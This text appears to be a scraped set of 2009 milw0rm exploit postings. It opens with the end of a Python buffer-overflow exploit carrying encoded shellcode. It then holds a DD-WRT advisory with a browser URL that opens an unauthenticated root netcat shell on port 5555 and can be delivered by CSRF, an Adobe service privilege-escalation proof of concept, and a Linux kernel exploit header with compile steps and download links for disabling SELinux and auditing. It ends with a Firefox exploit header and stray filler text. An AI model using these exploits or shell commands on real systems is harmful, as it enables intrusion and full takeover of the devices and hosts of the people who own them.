"\x41\x30\x41\x41\x42\x58\x38\x42\x42\x50\x75\x4b\x59\x4b\x4c\x59"
"\x78\x52\x64\x63\x30\x65\x50\x53\x30\x4e\x6b\x57\x35\x77\x4c\x6c"
"\x4b\x61\x6c\x63\x35\x73\x48\x67\x71\x48\x6f\x6e\x6b\x50\x4f\x45"
"\x48\x6e\x6b\x53\x6f\x61\x30\x73\x31\x38\x6b\x53\x79\x4e\x6b\x66"
"\x54\x6e\x6b\x46\x61\x38\x6e\x30\x31\x6b\x70\x6e\x79\x6e\x4c\x4f"
"\x74\x79\x50\x74\x34\x44\x47\x4f\x31\x59\x5a\x76\x6d\x55\x51\x59"
"\x52\x68\x6b\x4a\x54\x35\x6b\x71\x44\x65\x74\x37\x74\x31\x65\x4a"
"\x45\x6e\x6b\x73\x6f\x44\x64\x55\x51\x4a\x4b\x50\x66\x4c\x4b\x44"
"\x4c\x30\x4b\x6e\x6b\x53\x6f\x37\x6c\x46\x61\x58\x6b\x6c\x4b\x77"
"\x6c\x6e\x6b\x46\x61\x5a\x4b\x4f\x79\x31\x4c\x47\x54\x37\x74\x6a"
"\x63\x74\x71\x59\x50\x70\x64\x6e\x6b\x51\x50\x50\x30\x6e\x65\x4b"
"\x70\x72\x58\x64\x4c\x6c\x4b\x71\x50\x56\x6c\x4e\x6b\x52\x50\x57"
"\x6c\x6c\x6d\x4c\x4b\x63\x58\x73\x38\x5a\x4b\x45\x59\x4e\x6b\x4f"
"\x70\x4c\x70\x35\x50\x43\x30\x63\x30\x4c\x4b\x53\x58\x77\x4c\x73"
"\x6f\x56\x51\x48\x76\x53\x50\x66\x36\x4f\x79\x39\x68\x6f\x73\x39"
"\x50\x61\x6b\x30\x50\x61\x78\x4a\x50\x6c\x4a\x73\x34\x33\x6f\x45"
"\x38\x6d\x48\x49\x6e\x6c\x4a\x46\x6e\x76\x37\x69\x6f\x48\x67\x45"
"\x33\x73\x51\x72\x4c\x71\x73\x63\x30\x41")

payload = "DZ"
payload += shellcode
payload += "\x41"*(2868-len(shellcode))
payload += "\xE9\xC7\xF4\xFF\xFF"
payload += "\x61"*5
payload += "\xEB\xF4\x41\x41"
payload += "\x1E\x2F\x40\x00"

try:
    out_file = open("exploit.lst","w")
    out_file.write(payload)
    out_file.close()
    print("\nExploit file created!\n")
except:
    print "Error"

Source: http://www.milw0rm.com/exploits/9229

Dd-Wrt (Httpd Service) Remote Command Execution Vulnerability

Thu, 23 Jul 2009 15:13:33 +0000

DD-WRT (httpd service) Remote Command Execution Vulnerability


This is a remote root vulnerability in DD-WRT's httpd server. The bug exists 
at the latest 24 sp1 version of the firmware.

 The problem is due to many bugs and bad software design decisions. Here is 
part of httpd.c:

859 	        if (containsstring(file, "cgi-bin")) {
860 	
861 	                auth_fail = 0;
862 	                if (!do_auth
863 	                    (conn_fp, auth_userid, auth_passwd, auth_realm,
864 	                     authorization, auth_check))
865 	                        auth_fail = 1;


......... (snip)............

899 	
900 	                }
901 	                exec = fopen("/tmp/exec.tmp", "wb");
902 	                fprintf(exec, "export REQUEST_METHOD=\"%s\"\n", method);
903 	                if (query)
904 	                        fprintf(exec, "/bin/sh %s/%s/tmp/shellout.asp");

........... (snip)..........

926 	                if (auth_fail == 1) {
927 	                        send_authenticate(auth_realm);
928 	                        auth_fail = 0;

------------

3) issue 3: httpd runs as root  :) 



Now let's sum up (1), (2) and (3). Any unauthenticated attacker that can 
connect to the management web interface can get easily root on the device via 
his browser with an URL like:

 http://routerIP/cgi-bin/;command_to_execute

There is a catch though: whitespaces break it. Anyway, they can be easily 
replaced with shell variable like $IFS. So, getting root shell at 5555/tcp 
becomes as easy as typing this in your browser's url bar:

http://routerIP/cgi-bin/;nc$IFS-l$IFS-p$IFS\5555$IFS-e$IFS/bin/sh


Voila (pretty old-school, eheh). Here is some (poor) video demonstrating the 
problem:
http://www.youtube.com/watch?v=UhDcXCVFrvM


Fortunately, httpd by default does not listen on the outbound interface. 
However, this vulnerability can be exploited via a CSRF attack (the dd-wrt 
device's owner does not even need to have an authenticated session on the web 
UI which is bad, bad). However, a base authentication dialog will appear. In 
IE even this can be supressed, see this one:

http://ha.ckers.org/blog/20090630/csrf-and-ignoring-basicdigest-auth/

Unlike the already documented CSRF vulnerability ( 
http://www.securityfocus.com/bid/32703 ) this DOES NOT need an authenticated 
session. This means someone can even post some crafted [img] link on a forum 
and a dd-wrt router owner visiting the forum will get owned  :) 


A weird vulnerability you're unlikely to see in 2009  :)  Quite embarrassing I 
would say  :) 


Thanks krassyo at krassyo.info for his support  :)  


Leka vecher  :)

Adobe Related Service (Getplus_Helpersvc.exe) Local Privilege Escalation

Thu, 23 Jul 2009 15:12:39 +0000

Adobe related service (getPlus_HelperSvc.exe) Local Privilege Escalation


Adobe related service (getPlus_HelperSvc.exe) local elevation of privileges
by Nine:Situations:Group
site: http://retrogod.altervista.org/

description:
Adobe downloader used to download updates for Adobe applications.
Shipped with Acrobat Reader 9.x

vendor: Nos Microsystems

poc:

C:\>sc qc "getPlus(R) Helper"
[SC] GetServiceConfig SUCCESS

SERVICE_NAME: getPlus(R) Helper
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Programmi\NOS\bin\getPlus_HelperSvc.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : getPlus(R) Helper
        DEPENDENCIES       : RPCSS
        SERVICE_START_NAME : LocalSystem

C:\>cacls "C:\Programmi\NOS\bin\getPlus_HelperSvc.exe"
C:\Programmi\NOS\bin\getPlus_HelperSvc.exe BUILTIN\Users:F <-------------- [!!!]
                                           NT AUTHORITY\SYSTEM:F

The executable file is installed with improper permissions, with "full
control" for Builtin Users; a simple user can replace it with a binary of
choice.
At the next reboot it will run with SYSTEM privileges.

Source: http://www.milw0rm.com/exploits/9199

Linux 2.6.30+/selinux/rhel5 Test Kernel Local Root Exploit 0Day

Thu, 23 Jul 2009 15:11:47 +0000

Linux 2.6.30+/SELinux/RHEL5 Test Kernel Local Root Exploit 0day


/* super fun 2.6.30+/RHEL5 2.6.18 local kernel exploit in /dev/net/tun
   A vulnerability which, when viewed at the source level, is unexploitable!
   But which, thanks to gcc optimizations, becomes exploitable :)
   Also, bypass of mmap_min_addr via SELinux vulnerability!
   (where having SELinux enabled actually increases your risk against a
    large class of kernel vulnerabilities)

   for 2.6.30 without SELinux enabled, compile with:
   cc -fPIC -fno-stack-protector -shared -o exploit.so exploit.c
   (on a 64bit system -m64 may be necessary to compile a 64bit .so)
   cc -o pwnkernel pwnkernel.c
   then just ./cheddar_bay.sh
   for 2.6.30 with SELinux enabled, compile with:
   cc -fno-stack-protector -o exploit exploit.c
   then just ./exploit

   for RHEL5 2.6.18 compile with:
   cc -fno-stack-protector -DRHEL5_SUCKS -o exploit exploit.c
   then just ./exploit

   Now on with the show...

   This exploit looks like something I know, something I wrote loooong ago
   in a place... called Cheddar Bay
   the year was 2007, POGS were just rising in the fad section
   I believe you could talk about Friends, it was a viable conversation 
   topic back then
   And back then I had an exploit too, ohhh and what an exploit she was!

   exploiting the 'unexploitable' -- null ptr dereference directly to
   arbitrary code execution, and disabling SELinux & LSM atomically
   the first exploit of its kind!

   2 years later, some code has shifted around, 3 (or 4 depending on how 
   you count) vulnerabilities found in the mainline null ptr dereference 
   protection (added in reaction to the embarrassment from my exploit, 
   not from any proactive initiative), silently-fixing vulnerabilities 
   has become standard operating procedure among the kernel developers, 
   confusing even their own ranks as to what needs to be backported to 
   distro kernels or the stable tree.  So with all this great progress 
   in Linux security, what do I present now 2 years later?

   ********************************************************************
   Bypassing the null ptr dereference protection in the mainline kernel
   via two methods ->
     if SELinux is enabled, it allows pulseaudio to map at 0
     UPDATE: not just that, SELinux lets any user in unconfined_t map at
     0, overriding the mmap_min_addr restriction!  pulseaudio is not
     needed at all!  Having SELinux enabled actually *WEAKENS* system
     security for these kinds of exploits!
     if SELinux is disabled, use personality SVR4 to auto-map at 0 
   Turning a vulnerability which is unexploitable from a review of 
   the source code, where only trojan data can be supplied to a
   structure where no function pointers are called into an arbitrary OR 
   of 0x1 on any byte in memory
   Turning this arbitrary OR into arbitrary code execution by ORing
   an unused file_op on the device we're exploiting
   Abusing this arbitrary code execution to:
	* Disable auditing
	* Disable SELinux
	* Disable AppArmor
	* Disable LSM
	* Make userspace believe SELinux remains in enforcing mode
	* Give ourselves full privileges and capabilities
	* Appropriately increment refcnts so as to be
	* 100% reliable and repeatable
    Whilst providing an entertaining tale of the curse of Cheddar Bay!

    Discovery time of bug in public: 	7/6/09
    Began working on exploit:		7/9/09 6:00PM
    Completed exploit:			7/9/09 8:00PM
    Began port to 64bit:		7/11/09 11:00AM
    Completed port to 64bit:    	7/11/09 12:00PM
    Began port to RHEL5 2.6.18-157:	7/12/09 12:00PM
    Completed port to RHEL5 2.6.18-157:	7/12/09 12:30PM
    Rest of time was spent adding an incredible visual and audio experience

    Greets to Julien Tinnes & Tavis Ormandy for the null ptr dereference
    protection bypass (of which there are more ;) ) 5th time's the charm? :)
    also of course to pipacs for helpful ideas and for pointing out the
    fix for this bug that screamed of suspiciousness ;)
    also to cloud for the wonderful crab
    also to #social for being social
    and to emoflip (under duress so he doesn't stab me next month)

    to xorl.wordpress.com in the hopes that he reports more on silently 
    fixed Linux kernel vulnerabilities :)

    funtimeinternet for the curse of Cheddar Bay:
    http://www.youtube.com/watch?v=l--BvXpaGq4
    Be sure to check out the response videos (which funtimeinternet 
    called "AWESOME"):
    http://www.youtube.com/watch?v=UdkpJ13e6Z0
    http://www.youtube.com/watch?v=P7uyCMdAldM

    Finally to sgrakkyu for his two incredible exploits and nice email chats
    (and for making me realize the more interesting compiler issue here ;))
    http://kernelbof.blogspot.com
    disabling SELinux remotely with a single dword write is just classy ;)

    The commit that introduced the vulnerability (Feb 6th):
    http://mirror.celinuxforum.org/gitstat/commit-detail.php?commit=33dccbb050bbe35b88ca8cf1228dcf3e4d4b3554
    Though it was committed before the release of the 2.6.29 kernel, it 
    did not (thankfully) make it into the 2.6.29 kernel.  It first 
    appeared in 2.6.30.

    Crash appears on April 9th showing a null ptr dereference:
    http://article.gmane.org/gmane.linux.network/124939

    The buggy commit was backported to a RHEL5 test kernel on April 15th
    (the latest test kernel is still vulnerable and likely without this
    exploit being released, the code would have made it into the next
    RedHat kernel update)
    https://bugzilla.redhat.com/show_bug.cgi?id=495863

    Fix appears on July 6th:
    http://lkml.org/lkml/2009/7/6/19
    As you'll note in the fix, the problem was a NULL tun variable, 
    which from the source should have been unexploitable due to the 
    immediate check for !tun.  The dereference of tun to grab ->sk
    would have caused only a crash (or not, if NULL was mapped).  So how 
    was the bug exploitable before but fixed by moving one line of code?
    The reason is that because the tun ptr is used before the check for 
    !tun, the compiler assumes that in dereferencing tun a fault will 
    occur, removing any need to later check tun for being NULL.  So the 
    !tun check actually does not exist in the compiled code.  Normally 
    this would be fine, if you could actually ensure that nothing is 
    mapped at NULL, but as this (and previous exploits) have proven, 
    that's not the case :)  So the fix moves the dereference of tun 
    until after !tun is checked -- this time the !tun check actually 
    exists in the code and the vulnerability/exploitability is removed.
    You can see a reference to this sort of problem here:
    http://osdir.com/ml/gcc.cross-compiling.arm/2007-10/msg00003.html
    The kernel should be compiled with -fno-delete-null-pointer-checks
    to remove the possibility of these kinds of vulnerabilities 
    turning exploitable in the future which would be impossible to spot 
    at the source level without this knowledge.

    As of the writing of this, the above fix exists for this vulnerability,
    but it's unlikely to make it into any -stable release (at least, 
    not until after this exploit is released) because as we say in 
    Linux kernel development circles, there are no vulnerabilities, just 
    DoS bugs and silent fixes.  When noone seems to care to classify 
    bugs properly or put any real effort into determining the impact of a 
    vulnerability (leading to everything being called DoSes with no 
    justification), then even the maintainers don't know what should be 
    included in the "stable" kernels, leaving users vulnerable and 
    attackers with beautiful, 100% reliable vulnerabilities like this 
    one to exploit.

    It's at these times that I take comfort in the words of security 
    expert Linus Torvalds, who steers the good ship Linux into safer 
    seas.  As we read at http://article.gmane.org/gmane.linux.kernel/848718
    he's been blessed with the foresight to claim that "we could 
    probably drop PAE some day," calling upon his own insight that "I'd 
    also not ever enable it on any machine I have.  PAE does add 
    overhead, and the NX bit isn't _that_ important to me."

    ****** UPDATE! 07/11/09 *******

    A man riding on horseback has delivered some news, my 
    congratulations to the members of vendor-sec for their excellent 
    analysis of my first exploit video, much in the same vein as their 
    analyses of vulnerabilities in the kernel.  Watch the masters hone 
    their craft:

    Vincent Danen:
    "Possibly, or another issue we've been discussing on vendor-sec, which
     would mean the problem is two fold; a problem with a setuid app and 
     a problem with SELinux (or, more probably, defined rules).

     He throws AppArmor and LSM in there as well as being faulty, but I 
     think that might be incorrect (let's remember spender's grsec 
     agenda) -- you would have to see if there are rules specifically for
     preventing this kind of thing in order to know if the fault is in 
     the rules or in the kernel itself."

    sometime later..

    "Yeah, just saw Marc's post and looked at the blog entry.  The 
     coincidence with the pulseaudio issue we were looking at seemed 
     odd, considering certain history with info on vendor-sec being 
     disclosed by spender."

    Linus Torvalds:
    "That does not look like a kernel problem to me at all.
     He's running a setuid program that allows the user to specify its 
     own modules.  And then you people are surprised he gets local root?"

    sometime later after video #3 (where I show RHEL5 getting owned)...

    Willy Tarreau (who is actually a nice guy, just stuck between a 
    rock and a hard place at times considering the people he has to 
    cooperate with, also I appreciate his continued work on 2.4):
    "He shows minor parts of his exploit code (only a few comments in fact)
     with one part half-hidden saying "the NX bit isn't _that_ important 
     to me". I don't think that will ring a bell to anyone :-/"

    and then:

    "He claims he exploits a flaw in SELinux and doesn't require pulseaudio.
     Maybe some recent SELinux fixes got backported into that kernel, 
     which might help narrow the issue down to less code ?"

    followed by:

    "Well, I see a positive note on all of that : the mmap_min_addr is 
     really efficient at limiting null pointer abuse ; the guys now have 
     to find a weak setuid program in order to deref null pointers. Of 
     course that does not mean anything particularly good for our 
     drivers (or whatever derefs a null pointer), but it means that 
     kernel is already really good at protecting itself.

     I've just checked the grsec site (http://www.grsecurity.net/) and 
     did not see any patch for 2.6.30. However, a patch was released 
     yesterday for 2.6.29.6 (but I don't have the previous one to diff 
     against). So maybe the null deref he's apparently exploiting is 
     also present in 2.6.29. It is highly possible that the issue is 
     fixed or worked around in his latest patch so that he can show his 
     kernels are not affected.

     I've just checked the latest patch, and except for a few minor 
     fixes in acpi, doc2001 and relay.c which don't look really suspect, 
     I see nothing obvious. So maybe it's 100% 2.6.30-specific and he 
     still has no fix for it in his patches :-/"

    Markus Meissner:
    "If someone has time he could decode the "Resolved  
     to 0xfffff" offsets to a ubuntu 64bit kernel. :/"

    So much sadness! And it's funny, none of them emailed me to ask 
    anything.  Probably because they choose to operate in secrecy, 
    depending upon the spies (it's not cool or ethical to spy, guys :P)
    they have in some public channels I frequent (which is the only way 
    they found out about the videos -- I hadn't posted links to them 
    anywhere else).  I'm amazed they come to the conclusions they came 
    to, as if I didn't just release a very similar exploit in 2007 that 
    attacked the *kernel* via a *null ptr dereference* and then 
    *disabled SELinux & LSM*.  The fact that pulseaudio was used and 
    was discussed publicly in Julien's blog regarding its use for 
    bypassing mmap_min_addr "protection" surely didn't ring any bells.  
    The fact that I'm throwing around kernel addresses and suggesting 
    that at least one of the addresses is being written to clearly 
    shows this is not a kernel problem at all -- good call Linus.  I'm 
    glad this arm-chair security expert discussion goes on in private; 
    it'd be pretty embarrassing if it were public :)

    "I think a little public shaming might not be a bad idea"
		- Linus Torvalds (http://lkml.org/lkml/2007/6/19/256)

    "I really _despise_ people who think security is an issue of hiding 
     bugs.  If they then try to make themselves look good ("no zero-day 
     exploit, we fixed it immediately"), they're worse than low.

     The only thing that seems to work for security is public shaming.

     And yeah, I get personally embarrassed by some of the things we've 
     had too, and some of that public shaming from the bug can well fall 
     on me.  I've had cases where I've simply _forgotten_ about some bug 
     that was reported to me, or more commpnly [sic] just overlooked it. 
     Shame on me.  That's ok."
		-Linus Torvalds (circa 2006)

    PS (to vendorsec, etc): though you will never thank me (or sgrakkyu, 
    or Julien), you're welcome for all this free security research, 
    which could have been sold in private instead.  The industry isn't 
    what it was like in 2000, people don't publish things anymore: they 
    make money off them.  Not seeing exploits published doesn't mean 
    you're doing a good job anymore.  Have you noticed that the 
    complex exploits that have been released are released unpossibly 
    quickly after the vulnerability is finally fixed?  There's a reason 
    for that.  If the vulnerable code in this case had happened to have 
    gone into the 2.6.29 kernel instead of 2.6.30 (which won't be used 
    for vendor kernels) I likely wouldn't have published.  I have no 
    use for exploits, but a good laugh is only worth so much.  My 
    suggestion to you is to hire a couple of sgrakkyus or Juliens 
    instead of old guys who have never written an exploit, since other 
    than Stealth, I don't know of anyone skilled in the industry that 
    you actually employ.  A second suggestion: as you are companies 
    promoting open source, free software, it would be nice if the 
    justifications for your vulnerability classifications were more 
    transparent (or made available at all).  The old game of calling 
    everything for which a public exploit doesn't exist a DoS for no 
    reason is getting very tired, and it's not fooling anyone. Third, 
    the official policy of intentionally omitting security relevant 
    information in modifications to the Linux codebase is a disgrace 
    and a disservice to yourselves, to other vendors, and to your 
    customers. It demonstrates a lack of integrity and trust in your 
    own products, though I know you have no intention of changing this 
    policy as you're currently enjoying a reputation for security that 
    is ill-gotten and has no basis in reality.  Truthfully representing 
    the seriousness of vulnerabilities in your software would tarnish 
    that image, and that's not good for business.  You're praised when 
    you cover things up, and yet Microsoft is the one with the bad 
    reputation.  If you were to follow the suggestions above, then 
    maybe your security wouldn't be the laughing stock of the industry.

    Play these jokers out, keyboard cat --
    http://www.youtube.com/watch?v=J---aiyznGQ
*/

http://grsecurity.net/~spender/cheddar_bay.tgz

backup: http://milw0rm.com/sploits/2009-cheddar_bay.tgz

Mozilla Firefox 3.5 (Font Tags) Remote Buffer Overflow Exploit

Thu, 23 Jul 2009 15:09:16 +0000

Mozilla Firefox 3.5 (Font tags) Remote Buffer Overflow Exploit



Firefox 3.5 Vulnerability
Firefox 3.5 Heap Spray Vulnerabilty


Author: SBerry aka Simon Berry-Byrne


Thanks to HD Moore for the insight and Metasploit for the payload


                             



Loremipsumdoloregkuw

Loremipsumdoloregkuwiert


Loremikdkw